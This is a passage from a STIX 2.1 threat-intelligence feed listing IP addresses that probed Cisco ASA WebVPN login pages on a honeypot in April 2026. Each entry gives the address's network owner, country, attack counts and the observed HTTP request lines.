      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--fe4e0caa-b904-41ee-bc99-be99c952e90e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:20:16.000Z",
      "valid_until": "2026-05-26T14:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T13:34:10.638Z",
          "last_seen": "2026-04-24T13:49:20.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T14:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--3cf7ca23-a378-44b4-a11a-5f184c6f05c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:20:16.000Z",
      "valid_until": "2026-05-26T14:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T13:59:55.154Z",
          "last_seen": "2026-04-24T13:59:58.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T14:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8dbab2ac-9446-48d5-9957-b9159d1e319b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:20:16.000Z",
      "valid_until": "2026-05-26T14:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T13:27:36.208Z",
          "last_seen": "2026-04-29T12:01:42.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T14:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.134.216.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:20:16.000Z",
      "valid_until": "2026-05-26T14:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T13:56:01.395Z",
          "last_seen": "2026-04-24T13:56:04.397Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T15:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ee21771f-d69e-41de-be8a-3911964402fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T15:20:12.000Z",
      "valid_until": "2026-05-26T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T14:53:43.892Z",
          "last_seen": "2026-04-28T05:29:10.583Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T15:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d31be816-c3fe-4fdf-bd38-c2d41bbc6c77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T15:20:12.000Z",
      "valid_until": "2026-05-26T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T12:10:58.007Z",
          "last_seen": "2026-04-24T15:10:24.601Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T15:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--aff1638e-86f8-4345-bbee-50cdc76e448b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T15:20:12.000Z",
      "valid_until": "2026-05-26T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T14:55:49.128Z",
          "last_seen": "2026-04-30T00:27:10.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--e972cc69-4c72-4c91-8979-e38239a241bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:20:10.000Z",
      "valid_until": "2026-05-26T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T15:39:50.892Z",
          "last_seen": "2026-04-24T15:53:25.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 13213 (Thg Hosting Limited)",
      "id": "indicator--0e9d462d-8c8c-4c7d-9a35-cc0f7c6716b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.190.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:20:10.000Z",
      "valid_until": "2026-05-26T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T16:51:20.625Z",
          "last_seen": "2026-04-24T16:51:29.050Z",
          "country": "United States",
          "country_code": "US",
          "asn": 13213,
          "as_org": "Thg Hosting Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--905772b1-de1b-4fe2-8d94-1a6d405e0880",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:20:10.000Z",
      "valid_until": "2026-05-26T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T09:57:07.314Z",
          "last_seen": "2026-04-29T19:47:03.481Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T18:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a2b09df5-6fca-4a7a-bd63-83132767406d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T18:20:15.000Z",
      "valid_until": "2026-05-26T18:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-19T01:31:42.516Z",
          "last_seen": "2026-04-25T09:17:24.152Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T18:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--02a8c22c-b498-4968-95e8-2020541aea97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T18:20:15.000Z",
      "valid_until": "2026-05-26T18:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-15T09:39:15.424Z",
          "last_seen": "2026-04-29T16:37:18.694Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T19:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d94a11fa-7c8d-4e49-a003-069a58dd0614",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:20:20.000Z",
      "valid_until": "2026-05-26T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T18:23:10.579Z",
          "last_seen": "2026-04-27T21:21:20.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17a59d16-5e52-4108-9527-10347a179698",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:20:10.000Z",
      "valid_until": "2026-05-26T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T13:57:57.237Z",
          "last_seen": "2026-04-25T01:53:25.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--87811953-c1b1-4a42-b407-e915be75d6db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T17:48:51.200Z",
          "last_seen": "2026-04-24T21:15:55.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T20:59:49.710Z",
          "last_seen": "2026-04-24T20:59:52.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ca524b6d-0e04-4411-81e1-1375d1031744",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T21:02:12.490Z",
          "last_seen": "2026-04-28T07:01:39.095Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ef944eef-cf64-42ea-a67e-bd70867a62e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-24T20:21:40.145Z",
          "last_seen": "2026-04-30T01:25:55.360Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9892ea31-8798-496b-890f-bb9dff6c1085",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T20:23:58.114Z",
          "last_seen": "2026-04-25T13:45:07.219Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4ad54749-58e0-4685-b710-ae003c7f44f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.0.103.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T21:11:23.627Z",
          "last_seen": "2026-04-24T21:11:24.154Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c3017dcd-9bd5-4722-819b-dff72c3a57cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
